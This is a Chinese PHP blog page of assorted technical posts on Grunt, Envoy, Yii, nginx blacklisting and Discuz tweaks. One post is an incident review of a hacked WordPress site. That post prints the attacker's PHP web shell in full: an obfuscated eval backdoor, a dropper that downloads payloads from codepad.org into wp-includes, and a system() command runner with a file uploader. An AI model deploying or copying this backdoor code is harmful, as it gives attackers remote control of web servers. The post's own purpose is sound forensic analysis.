安静
PHP技术博客

180504 stomp-php 持久化参数

张 清月阅读(22)

项目使用activemq的时候,发送的消息一直都未持久话,也就是未消费队列被存储起来。重启后就消失了。

使用的是 stomp-php 免安装php扩展,简单部署。

    "require": {
        "corneltek/cliframework": "^3.0",
        "stomp-php/stomp-php": "^4.2"
    }

调试使用使用后台发送消息勾选 Persistent Delivery后,重启 activemq是作为持久化消息保存的。

源代码包里搜了下 presistent

发现代码:

   $producer->send($queue, new Message('message-b', ['persistent' => 'true']));

测试了下 将head的Options里封装

['persistent' => 'true']
//就成功持久化了

160725 grunt helloworld

张 清月阅读(1515)

为何要用构建工具?

一句话:自动化。对于需要反复重复的任务,例如压缩(minification)、编译、单元测试、linting等,自动化工具可以减轻你的劳动,简化你的工作。当你在 Gruntfile 文件正确配置好了任务,任务运行器就会自动帮你或你的小组完成大部分无聊的工作。

为什么要使用Grunt?

Grunt生态系统非常庞大,并且一直在增长。由于拥有数量庞大的插件可供选择,因此,你可以利用Grunt自动完成任何事,并且花费最少的代价。如果找不到你所需要的插件,那就自己动手创造一个Grunt插件,然后将其发布到npm上吧。先看看入门文档吧。

下面是安装使用过程

终端安装cli

npm install -g grunt-cli

构建项目目录

npm init

会生成一个package.json

{
  "name": "cc",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}

安装所需的 moudle

 npm install --save-dev grunt grunt-contrib-concat grunt-contrib-jshint grunt-contrib-sass grunt-contrib-uglify grunt-contrib-watch grunt-contrib-connect

安装完模块后 package.json文件会被更改

{
  "name": "cc",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "grunt": "^1.0.1",
    "grunt-contrib-concat": "^1.0.1",
    "grunt-contrib-connect": "^1.0.2",
    "grunt-contrib-jshint": "^1.0.0",
    "grunt-contrib-sass": "^1.0.0",
    "grunt-contrib-uglify": "^2.0.0",
    "grunt-contrib-watch": "^1.0.0"
  }
}

创建grunt配置文件 Gruntfile.js

module.exports = function(grunt){

    // 项目配置
    grunt.initConfig({
        pkg: grunt.file.readJSON('package.json'),
        uglify: {
            options: {
                banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n'
            },
            build: {
                src: 'src/*.js',
                dest: 'build/<%= pkg.name %>.min.js'
            }
        }
    });

    // 加载提供"uglify"任务的插件
    grunt.loadNpmTasks('grunt-contrib-uglify');

    // 默认任务
    grunt.registerTask('default', ['uglify']);
}

当前目录创建src

添加a.js

function hello(){
     console.log('hello');
}

添加b.js

function world(){
     console.log('world');
}

构建 grunt

gunt
Running "uglify:build" (uglify) task
>> 1 file created.
Done.

查看build目录cc.min.js

/*! cc 2016-07-25 */
function hello(){console.log("hello")}function world(){console.log("world")}

具体demo下载地址

http://pan.baidu.com/s/1boIuvP9

更多查看

http://www.gruntjs.net/getting-started

160411 php组合排列实现

张 清月阅读(1820)

学习系统实现组合排列

遇到个需求需要从100道题目中随机抽取10道题作为学习测试题,并且出现的组合不能重复,给出大概可用组合的次数.

组合排列实现:

//PHP乘阶实现
function factorial($n)
{
    if ($n > 1) {
        return $n * factorial($n - 1);
    } else {
        return 1;
    }
}

//组合排列
function randGet($n, $m)
{
    echo "{$n}个数中取{$m}个数随机排列,且不重复可有" . factorial($n) / factorial($n - $m) / factorial($m) . "次变种" . PHP_EOL;
}

randGet(3, 2);
randGet(6, 2);
randGet(100, 4);

执行结果:

3个数中取2个数随机排列,且不重复可有3次变种
6个数中取2个数随机排列,且不重复可有15次变种
100个数中取4个数随机排列,且不重复可有3921225次变种

参考:

  1. 乘阶
  2. 排列组合
  3. 解决公式

160327 使用Envoy管理多服务器

张 清月阅读(1281)

在多服务器负载均衡的时候,会有代码发布问题,如果你很懒的去架设jekins这种持续话集成工具的时候,你可以使用Envoy试试,当然你也可以用cobbler puppet.但我相信当你使用过Envoy 你会惊艳她功能的

Envoty(Laravel Envoy):

提供了简洁、轻量的语法用于定义在远程服务器上可执行的通用任务。通过 Blade 风格的语法,你可以很容易地设置任务从而完成部署、执行 Artisan 命令或其他更多工作。

如何安装Envoy:

//安装Composer
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
//将Composer配置给所有用户
composer global require "laravel/installer"

//安装Laravel Envoy
composer global require "laravel/envoy=~1.0"
//将bin放入当前用户Path
echo 'export PATH="$PATH:$HOME/.composer/vendor/bin"' >> ~/.bashrc
//导入,免登出
source ~/.bashrc
//添加larvel执行权限
chmod +x /root/.composer/vendor/laravel/installer/laravel
//添加envoy执行权限
chomp +x /root/.composer/vendor/laravel/envoy/envoy

注意:

这里需要proc_open支持所以你查看是否支持

/usr/local/php/etc/php.ini

//删除
disable_functions中

proc_open proc_status

使用Envoy创建任务

envoy init gb@192.168.10.10
Envoy file created!

会生成文件:

Envoy.blade.php

文件内容编辑成如:

  vim Envoy.blade.php

@servers(['web' => 'gb@192.168.10.10 -p 70011'])

@task('deploy')
    cd /home/backup
    echo "asdasdas" >> 1.log
@endtask

执行Envoy

envoy run deploy

多服器配置运行:

@servers(['web-1' => '192.168.1.1', 'web-2' => '192.168.1.2'])

@task('deploy', ['on' => ['web-1', 'web-2']])
    cd site
    git pull origin {{ $branch }}
    php artisan migrate
@endtask

更多阅读:

160317 Yiihost信息获取

张 清月阅读(1138)

  • 假设域名为

    http://www.bee.com/index.php?r=plan/index
    
  • 获取域名

    Yii::app()->request->hostInfo;
    http://www.bee.com
    
  • 获取当前URL

    Yii::app()->request->getUrl();
    /index.php?r=/plan/index
    
  • 获取(除域名外的)首页地址

    Yii::app()->user->returnUrl;
    /
    
  • 获取(除域名外的)根目录地址

    Yii::app()->homeUrl;
    /index.php
    
  • 获取请求的相对路径

    Yii::app()->request->baseUrl;
    
  • 获取网站根目录相对地址

    Yii::app()->baseUrl;
    
  • Yii获取IP地址

    Yii::app()->request->userHostAddress;
    127.0.0.1
    
  • Yii判断提交方式

    Yii::app()->request-isPostRequest
    
  • proteced目录的物理路径

    Yii::app()->basePath;
    /Users/aj/Bee/protected
    
  • 获取上一页的url以返回

    Yii::app()->request->urlReferrer;
    
  • 获取当前控制器ID

    Yii::app()->getController()->getAction()->id;
    plan
    
  • 项目路径

    dirname(Yii::app()->BasePath);
    /Users/aj/Bee/
    
  • Yii获取get,post过来的数据

    Yii::app()->request->getParam('id');
    
  • Yii如何设置时区

    可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区
    
  • 防止重复提交

    Ccontroler->refresh();
    
  • demo代码

    echo "获取域名";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->hostInfo;";
    echo PHP_EOL;
    echo Yii::app()->request->hostInfo;
    echo PHP_EOL;
    
    
    echo "获取当前URL";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->getUrl();";
    echo Yii::app()->request->getUrl();
    echo PHP_EOL;
    
    
    echo "获取(除域名外的)首页地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->user->returnUrl;";
    echo PHP_EOL;
    echo Yii::app()->user->returnUrl;
    echo PHP_EOL;
    
    
    echo "获取(除域名外的)根目录地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->homeUrl;";
    echo PHP_EOL;
    echo Yii::app()->homeUrl;
    echo PHP_EOL;
    
    
    echo "获取请求的相对路径";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->request->baseUrl;
    echo PHP_EOL;
    
    
    echo "获取网站根目录相对地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->baseUrl;
    
    
    echo PHP_EOL;
    
    
    echo "YII获取 IP地址";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->userHostAddress;";
    echo PHP_EOL;
    echo Yii::app()->request->userHostAddress;
    
    
    echo PHP_EOL;
    
    
    echo "Yii判断提交方式";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request-isPostRequest";
    echo PHP_EOL;
    
    
    echo "proteced目录的物理路径";
    echo PHP_EOL;
    
    
    echo "Yii::app()->basePath;";
    echo PHP_EOL;
    echo Yii::app()->basePath;
    echo PHP_EOL;
    
    
    echo "获取上一页的url以返回";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->urlReferrer;";
    echo PHP_EOL;
    echo Yii::app()->request->urlReferrer;
    echo PHP_EOL;
    
    
    echo "获取当前控制器ID";
    echo PHP_EOL;
    
    
    echo "Yii::app()->getController()->getAction()->id;";
    echo PHP_EOL;
    echo Yii::app()->getController()->getAction()->id;
    echo PHP_EOL;
    
    
    echo "项目路径";
    echo PHP_EOL;
    
    
    echo "dirname(Yii::app()->BasePath);";
    echo PHP_EOL;
    echo dirname(Yii::app()->BasePath);
    echo PHP_EOL;
    
    
    echo "Yii获取get,post过来的数据";
    echo PHP_EOL;
    
    
    echo "Yii::app()->request->getParam('id');";
    echo PHP_EOL;
    echo Yii::app()->request->getParam('id');
    echo PHP_EOL;
    
    
    echo "Yii如何设置时区";
    echo PHP_EOL;
    
    
    echo "可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区";
    echo PHP_EOL;
    
    
    echo "防止重复提交";
    echo PHP_EOL;
    
    
    echo "Ccontroler->refresh();";
    

151209 nginx动态添加ip黑名单

张 清月阅读(1872)

Nginx

早上起来服务访问报警,查了下log,一个俄罗斯ip不停的更换user-agent来访问某站,导致FPM进程数过多。

查了下阿里云的安全卫士,竟然没有添加黑名单功能。对于iptables一直是懵懂状态,so 只能从代码或者nginx添加黑名单功能。

PHP代码级别的就非常简单了:

if($_SERVER['REMOTE_ADDR'] == "xx.xx.xx.xx"){   
    exit();  
}

代码从网上看到的不太对,稍微调整了下,目前已经可以使用代码
在下面贴出来:

#!/bin/bash
tail -n50 /home/wwwlogs/access.log |
awk '{print $1,$7,$9}' |
grep -i -v -E "googleyahoobaidumsnbotFeedSkysogou360bingsoso403api" |
awk '{print $1}' |  sort | uniq -c | sort -rn |
awk '{if($1>5)print "deny "$2";"}' > /usr/local/nginx/conf/vhost/blockip.conf
/usr/local/nginx/sbin/nginx -s reload

Crontab中添加锁定时间

0,30 0-23 * * * /bin/bash /root/blockip.sh

原文链接:

http://www.lxway.com/1468096.htm

当然本身nginx的通过ngxhttplimit_req可以用来做动态黑名单功能,实现方法:

https://github.com/codehunte/ngxwhiteblacklist/blob/master/whiteblack_list.txt

151110 服务器入侵复盘

张 清月阅读(1400)

互联网的黑客人事是越来越专业了,尽可能的数据挖掘,历史追溯,去寻找你的漏洞。前2天的草榴,前段时间的网易,总之人在互联网总会被挨刀。废话多了看文章。

大概过程:

黑客通过网易密码泄露中的邮箱,并且查阅相关邮件内容,得知某站存在,遂重置密码,登录后台,上传插件,激活木马。

总结:

互联网的每一个大事件其实都有可能跟你息息相关。

中午14点多收到阿里云短信服务器有密码并且隔离了,遂登录阿里云查看

木马文件:

wp-includes/media-bak.php

看了下创建时间 14:10

木马内容

    $qV = "stop_";
    $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
    if (isset(${$s20}['dak'])) {
        eval(${$s20}['dak']);
    }

    //一句话木马 $_POST['dak']

根据木马文件访问查看黑客访问相关信息

    cat www.80aj.com.log | grep '10/Nov/2015' | grep php | grep 200 | awk '{print $1"\t"$4$5"\t"$9"\t"$6"\t"$7}' | grep php 

    173.252.193.210 [10/Nov/2015:14:09:59+0800] 200 "GET    /wp-login.php?redirect_to=http%3A%2F%2Fwww.80aj.com%2Fwp-admin%2F&reauth=1
    173.252.193.210 [10/Nov/2015:14:10:01+0800] 200 "GET    /wp-admin/plugin-install.php?tab=upload
    173.252.193.210 [10/Nov/2015:14:10:04+0800] 200 "POST   /wp-admin/update.php?action=upload-plugin
    173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "GET    /wp-content/uploads/2015/11/1447135650.php?test=1
    173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "POST   /wp-content/uploads/2015/11/1447135650.php
    173.252.193.210 [10/Nov/2015:14:10:06+0800] 200 "POST   /wp-includes/media-bak.php
    173.252.193.210 [10/Nov/2015:14:10:07+0800] 200 "GET    /wp-includes/class-wp-upgrade.php

进入 wp-content/uploads/2015/11/ 发现文件xx.php,文件大概思路受访请求带上test会主动在wp-include目录下载3个文件,内容来自 codepad.org 在线代码调试网站

    if(isset($_GET['test']) && $_GET['test']){
        echo 261000;
    //    $PHP_SELF = basename(__FILE__);
    //    rename($PHP_SELF,'new_'.$PHP_SELF);
    }elseif(isset($_GET['info']) && $_GET['info']){
        echo phpinfo();
    }elseif(isset($_GET['eval']) && $_GET['eval']){
        $qV = "stop_";
        $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
        if (isset(${$s20}['dak'])) {
            eval(${$s20}['dak']);
        }
    }elseif(isset($_GET['go']) && $_GET['go']){
        $n = substr_count(substr(dirname(__FILE__),intval(strpos(dirname(__FILE__),'wp-content'))), "/");
        $path_pre = str_repeat('../',$n+1);
        $in_path = $path_pre.'wp-includes/';
        if(@file_put_contents($in_path.'media-bak.php',@file_get_contents('http://codepad.org/Uk6hqTZe/raw.php'))){
            echo '|YS[dak]';
        }else{
            echo '|YF';
        }
        if(@file_put_contents($in_path.'class-wp-upgrade.php',@file_get_contents('http://codepad.org/v6xhqhy7/raw.php'))){
            echo '|DS[wso]';
        }else{
            echo '|DF';
        }
        if(@file_put_contents($in_path.'class-wp-upload.php',@file_get_contents('http://codepad.org/ZSvhCPZE/raw.php'))){
            echo '|XS';
        }else{
            echo '|XF';
        }
    }else{
        $path = isset($_POST['path'])?$_POST['path']:dirname(__FILE__);
        if($_POST['url']){
            foreach($_POST['url'] as $url){
                $filename = $url['name'];
    //            $link = $url['link'];
                $con = $url['con'];
                if($a = @file_put_contents($path.$filename,base64_decode($con))){
                    echo '|'.$filename.' success';
                }else{
                    if($a = @file_put_contents($filename,base64_decode($con))){
                        echo '|ThisPath-'.$filename.' success';
                    }else{
                        echo '|'.$filename.' fail';
                    }
    //                echo '|'.$filename.' fail';
                }
            }
            $PHP_SELF = basename(__FILE__);
            rename($PHP_SELF,'new_up.php');
        }else{
            $c=$_GET['cmd'];
            system($c);
            $p=$_SERVER["DOCUMENT_ROOT"];
            $yoco=dirname(__FILE__);
            echo <<<HTML
        <form enctype="multipart/form-data"  method="POST">
        Path:$p<br>
        <input name="file" type="file"><br>
        Ŀ��:<br>
        <input size="48" value="$yoco/" name="pt" type="text"><br>
        <input type="submit" value="Upload">
        $tend
    HTML;
            if (isset($_POST["pt"])){
                $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
                if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
                if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
                    echo"uploaded:$uploadfilen";
                    echo"Size:".$_FILES["file"]["size"]."n";
                }else {
                    print "Error:n";
                }
            }
        }
    }

其次 class-wp-upgrade.php 这个文件会获取用户请求的各种cookie,伪装成error_log去获取更多的cookie

发现其中有一条内容为 :

    ["wordpress_logged_in_42b76570a501a4b13a26d8fda417c568"]=>
      string(126) "weiwei|1447308597|3pnLyBYybwZbhNuW2eIegvzYJz79s2rkZx4zaIm7PTq|d667fceecc9ab854fffa28bcb8cde9ea3eca0e38c421becee0f7dba0cc8899bf"

这个是我多年前同事的账号给,并且是admin权限,xxx@126.com ,just soso 太搞了。 荆轲刺秦王

150722 强健WordPress体魄

张 清月阅读(1345)

WordPress(下面简称WP)建博客好多年,被黑的次数是数不过来了,每次的反查累的要命,因为黑客的入侵总让你摸不着头脑,如何避免或者快速清除木马是必须学会的。

好心人A

WP在这个互联网上存在着,总是那么摇摆不定,天天被各种好心人扫描,时不时的断档。真心纠结啊,这不今天凌晨又来了一波,这是在提醒我们时刻要更新啊

59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/front-file-manager/upload.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php

好心人B

好心人不停的往你服务器POST,POST,POST,丝毫不遮掩,好像你是赤裸着躺在他面前,肆无忌惮啊

211.44.4.145    [21/Jul/2015:11:35:03+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:06+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:07+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:11+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:55+0800] "GET    /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:11:35:58+0800] "GET    /shoesxz/up.php
211.44.4.145    [21/Jul/2015:11:36:02+0800] "GET    /shoesonlx/upload.php
211.44.4.145    [21/Jul/2015:11:36:06+0800] "GET    /shoesxz/upload.php
211.44.4.145    [21/Jul/2015:13:54:42+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:46+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:52+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:53+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesxz/up.php

定位特洛伊

长期保留服务器访问日志,至少一个月,这样可以快速的定位,还原黑客入侵的过程

处理思路:

  1. 查看日志排查访问过木马的IP,并且提取
  2. 根据提取的IP顺藤摸瓜拿到所有的被访问过的文件
  3. 打开所有被好心人访问过的文件,查看相关代码是否有hackshell之类相关内容,如果有则纪录木马关键字
  4. 根据特征字全目录扫描,然后进行删除
  5. 将WP升级至最新版,或者直接下载最新版本整个目录替换

我们得自己健壮

长期的缺管,主要是没什么好写的,小学语文水平,尤其是购买Evernote高级会员以后,看到的好文章都直接通过摘录放到笔记里去了,所以导致了博客几乎名存实亡的感觉,虽然亡了但也要活着啊,特别是技术人员指望着这个博客找工作的说

人比较懒具体健壮操作方式,直接在这里罗列相关文章,自己看着办吧

  1. 自动更新
  2. 修改后台地址
  3. 加固你的WP
  4. 2013年WP漏洞扫描PHP版
  5. exploit-db
  6. Linux系统防CC攻击自动拉黑IP增强版Shell脚本
  7. Linux安全之PHP木马查杀与防范
  8. WP安全设置技巧
  9. 添加IP访问限制

150707 discuz百度分享图片添加

张 清月阅读(916)

继上次 jiathis分享图片问题后,这次需求方又要求改成百度分享,总之程序员么,就是各种解了。 上次地址: discuz jiathis分享图片修改 同样的文件:template/default/forum/viewthread_node.htm 添加如下代码即可解决:

  //找到 aimgcount[{$post[pid]}] = [<!--{echo dimplode($aimgs[$post[pid]]);}-->]; 上方添加 

  <!--{if $threadattachmenturl != null}-->
  window._bd_share_config = { "common": { 
  "bdSnsKey": {}, 
  "bdText": "", 
  "bdMini": "2", 
  "bdMiniList": false, 
  "bdPic": "{echo $threadattachmenturl[0];}",
  "bdStyle": "0", "bdSize": "16" },
  "share": {} 
  }; 
  <!--{/if}--> 

150618 Discuz屏蔽插件安装后删除xml文件

张 清月阅读(894)

插件安装后Discuz会删除Xml文件

当你通过Discuz后台云系统安装完插件以后,系统会调用 source/admincp/admincp_plugins.php 文件进行删除相关的语言安装XML. 我们需要做如下修改进行保留:

//中425行注释即可 
//cloudaddons_clear('plugin', $dir);

//实际函数实现内容
function cloudaddons_clear($type, $id)
{
    global $_G;
    if (isset($_G['config']['plugindeveloper']) && $_G['config']['plugindeveloper'] > 0) {
        return;
    }
    $dirs = array('plugin' => array('plugin', './source/plugin/'), 'template' => array('style', './template/'));
    if ($dirs[$type] && cloudaddons_getmd5($id . '.' . $type)) {
        $entrydir = DISCUZ_ROOT . $dirs[$type][1] . $id;
        $d = dir($entrydir);
        $filedeleted = false;
        while ($f = $d->read()) {
            if (preg_match('/^discuz\_' . $dirs[$type][0] . '\_' . $id . '(\_\w+)?\.xml$/', $f)) {
                @unlink($entrydir . '/' . $f);
                if ($type == 'plugin' && !$filedeleted) {
                    @unlink($entrydir . '/' . $f);
                    $importtxt = @implode('', file($entrydir . '/' . $f));
                    $pluginarray = getimportdata('Discuz! Plugin');
                    if ($pluginarray['installfile']) {
                        @unlink($entrydir . '/' . $pluginarray['installfile']);
                    }
                    if ($pluginarray['upgradefile']) {
                        @unlink($entrydir . '/' . $pluginarray['upgradefile']);
                    }
                    $filedeleted = true;
                }
            }
        }
    }
}

Discuz开启注册表单更多选项后,用户注册依然可以乱填(性别依然为空)

看了下代码这真心的让人很无语

 //source/function/function_profile.php function profile_check 
 //214行 
 if(in_array($fieldid, array('birthday', 'birthmonth', 'birthyear', 'gender'))) { 
    $value = intval($value); return true; 
 } elseif(in_array($fieldid, array('birthprovince', 'birthcity', 'birthdist', 'birthcommunity', 'resideprovince', 'residecity', 'residedist', 'residecommunity'))) {
    $value = getstr($value); 
    return true; 
 } 

Discuz! X3.2 R20150609 发布,但没有走后台通知更新发布功能

补丁包下载(适合 X3.2 任意版本):

简体中文 GBK http://download.comsenz.com/DiscuzX/3.2/patch/DX32R20150609SCGBK.zip
繁体中文 BIG5 http://download.comsenz.com/DiscuzX/3.2/patch/DX32
R20150609TCBIG5.zip
简体 UTF8 http://download.comsenz.com/DiscuzX/3.2/patch/DX32R20150609SCUTF8.zip
繁体 UTF8 http://download.comsenz.com/DiscuzX/3.2/patch/DX32
R20150609TCUTF8.zip  

升级方法:

  1. 根据原有的语言版本下载升级包 
  2. 解压缩, 将目录中的文件上传至服务器, 覆盖旧文件 
  3. 使用创始人身份进入后台更新缓存 更新记录 

150403 Ci框架中language重新加载配置文件

张 清月阅读(682)

Ci加载一种语言配置文件后再加载另外一个是无效的,如何重载呢?

$this->lang->is_loaded = array();
$this->lang->language = array();

//或者

if (isset ( $this->lang->is_loaded )) {
    for($i = 0; $i <= sizeof ( $this->lang->is_loaded ); $i ++) {
        unset ( $this->lang->is_loaded [$i] );
    }
}

From:
http://stackoverflow.com/questions/7563390/codeigniter-change-loaded-language

密码保护:秘密

admin阅读(871)

这是一篇受密码保护的文章,您需要提供访问密码:

150107 小彩蛋JS

张 清月阅读(753)

看到酷壳上有个小彩蛋JS,觉得挺有意思,做个摘录,不过代码做了压缩代码看上去不是很容易看懂.

javascript: (function() {
    function c() {
        var e = document.createElement("link");
        e.setAttribute("type", "text/css");
        e.setAttribute("rel", "stylesheet");
        e.setAttribute("href", f);
        e.setAttribute("class", l);
        document.body.appendChild(e)
    }

    function h() {
        var e = document.getElementsByClassName(l);
        for (var t = 0; t < e.length; t++) {
            document.body.removeChild(e[t])
        }
    }

    function p() {
        var e = document.createElement("div");
        e.setAttribute("class", a);
        document.body.appendChild(e);
        setTimeout(function() {
            document.body.removeChild(e)
        }, 100)
    }

    function d(e) {
        return {
            height: e.offsetHeight,
            width: e.offsetWidth
        }
    }

    function v(i) {
        var s = d(i);
        return s.height > e && s.height < n && s.width > t && s.width < r
    }

    function m(e) {
        var t = e;
        var n = 0;
        while (!!t) {
            n += t.offsetTop;
            t = t.offsetParent
        }
        return n
    }

    function g() {
        var e = document.documentElement;
        if (!!window.innerWidth) {
            return window.innerHeight
        } else if (e && !isNaN(e.clientHeight)) {
            return e.clientHeight
        }
        return 0
    }

    function y() {
        if (window.pageYOffset) {
            return window.pageYOffset
        }
        return Math.max(document.documentElement.scrollTop, document.body.scrollTop)
    }

    function E(e) {
        var t = m(e);
        return t >= w && t <= b + w
    }

    function S() {
        var e = document.createElement("audio");
        e.setAttribute("class", l);
        e.src = i;
        e.loop = false;
        e.addEventListener("canplay", function() {
            setTimeout(function() {
                x(k)
            }, 500);
            setTimeout(function() {
                N();
                p();
                for (var e = 0; e < O.length; e++) {
                    T(O[e])
                }
            }, 15500)
        }, true);
        e.addEventListener("ended", function() {
            N();
            h()
        }, true);
        e.innerHTML = " <p>If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.</p> <p>";
        document.body.appendChild(e);
        e.play()
    }

    function x(e) {
        e.className += " " + s + " " + o
    }

    function T(e) {
        e.className += " " + s + " " + u[Math.floor(Math.random() * u.length)]
    }

    function N() {
        var e = document.getElementsByClassName(s);
        var t = new RegExp("\\b" + s + "\\b");
        for (var n = 0; n < e.length;) {
            e[n].className = e[n].className.replace(t, "")
        }
    }
    var e = 30;
    var t = 30;
    var n = 350;
    var r = 350;
    var i = "//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake.mp3";
    var s = "mw-harlem_shake_me";
    var o = "im_first";
    var u = ["im_drunk", "im_baked", "im_trippin", "im_blown"];
    var a = "mw-strobe_light";
    var f = "//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake-style.css";
    var l = "mw_added_css";
    var b = g();
    var w = y();
    var C = document.getElementsByTagName("*");
    var k = null;
    for (var L = 0; L < C.length; L++) {
        var A = C[L];
        if (v(A)) {
            if (E(A)) {
                k = A;
                break
            }
        }
    }
    if (A === null) {
        console.warn("Could not find a node of the right size. Please try a different page.");
        return
    }
    c();
    S();
    var O = [];
    for (var L = 0; L < C.length; L++) {
        var A = C[L];
        if (v(A)) {
            O.push(A)
        }
    }
})()

141212 php的cli简介

admin阅读(593)

所有的PHP发行版,不论是编译自源代码的版本还是预创建的版本,都在默认情况下带有一个PHP可执行文件。这个可执行文件可以被用来运行命令行的PHP程序。

       要在你的系统上找到这个可执行文件,就要遵照下面的步骤:

       在Windows操作系统里,它被放在PHP主安装目录下,文件名是php.exe或者(在老版本的PHP里)是php-cli.exe。

        在Linux操作系统里,它被保存在PHP安装目录的bin/子目录下。

不论是在哪一个操作系统里,你都需要对它进行测试,以保证它能够正常运行,方法是用-v参数调用它:

shell> /path/to/php -v
PHP 5.0.0 (cli) (built: Jun 1 2005 18:32:10)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.0, Copyright (c) 1998-2004 Zend Technologies

它应该会返回PHP的版本号。

一个简单的PHP CLI程序
一旦找到了这个CLI可执行文件,你就可以用一个简单的程序来使用一下。创建一个简单的文本文件,其中包含有以下PHP代码,并把它保存为hello.php:

<?php
echo "Hello from the CLI";
?>

现在,试着在命令行提示符下运行这个程序,方法是调用CLI可执行文件并提供脚本的文件名:

shell> /path/to/phphello.php
Hello from the CLI

使用标准的输入和输出

PHP CLI会定义三个常量,以便让在命令行提示符下与解释器进行交互操作更加容易。这些常量见表格A。

表格A

常量 说明
STDIN 标准的输入设备
STDOUT 标准的输出设备
STDERR 标准的错误设备

你可以在自己的PHP脚本里使用这三个常量,以接受用户的输入,或者显示处理和计算的结果。要更好地理解这一点,可以看看下面的脚本(列表A):

列表A

<?php
// ask for input
fwrite(STDOUT, "Enter your name: ");

// get input
$name = trim(fgets(STDIN));

// write input back
fwrite(STDOUT, "Hello, $name!");
?>
Look what happens when you run it:
shell> /path/to/phphello.php
Enter your name: Joe
Hello, Joe!

在这个脚本里,fwrite()函数首先会向标准的输出设备写一条消息,询问用户的姓名。然后它会把从标准输入设备获得的用户输入信息读取到一个PHP变量里,并它把合并成为一个字符串。然后就用fwrite()把这个字符串打印输出到标准的输出设备上。

使用命令行自变量
在命令行里输入程序参数来更改其运行方式是很常见的做法。你也可以对CLI程序这样做。PHP CLI带有两个特殊的变量,专门用来达到这个目的:一个是$argv变量,它通过命令行把传递给PHP脚本的参数保存为单独的数组元素;另一个是$ argc变量,它用来保存$argv数组里元素的个数。

用PHP脚本编写一段读取$argv并处理它所含参数的代码是很简单的。试试列表B里的示例脚本,看看它是如何工作的:

列表B

<?php
print_r($argv);
?>

Run this script by passing it some arbitrary values, and check the output:

shell> /path/to/phptest.php chocolate 276 "killer tie, dude!"
Array
( [0] => test.php
[1] => chocolate
[2] => 276
[3] => killer tie, dude!
)

正如你可以从输出的结果看到的,传递给test.php的值会自动地作为数组元素出现在$argv里。要注意的是,$argvis的第一个自变量总是脚本自己的名称。

下面是一个更加复杂的例子(列表C):

列表C

<?php
// check for all required arguments
// first argument is always name of script!
if ($argc != 4) {
die("Usage: book.php <check-in-date> <num-nights> <room-type> ");
}

// remove first argument
array_shift($argv);

// get and use remaining arguments
$checkin = $argv[0];
$nights = $argv[1];
$type = $argv[2];
echo "You have requested a $type room for $nights nights, checking in on $checkin. Thank you for your order! ";
?>

下面是其用法的示例:

shell> /path/to/phpbook.php 21/05/2005 7 single
You have requested a single room for 7 nights, checking in on 21/05/2005. Thank you for your order!

在这里,脚本首先会检查$argc,以确保自变量的数量符合要求。它然后会从$argv里提取出每一个自变量,把它们打印输出到标准的输出设备上。

注意:你可以用Console_Getopt PEAR类向PHP增加更加复杂的命令行参数。

使用CLI参数
除了用命令行传递PHP脚本参数,你还可以传递PHP CLI参数以更改其工作方式。表格B就是一些重要参数的列表:

表格B

参数 说明
-a 交互式运行Run interactively
-c path 从path读取php的.ini文件
-n 不用读取php的.ini文件就直接运行
-m 列出经过编译的模块
-i 显示有关PHP构建的信息
-l 检查PHP脚本的句法
-s 以彩色方式显示源代码
-w 显示去掉注释之后的源代码
-h 显示帮助

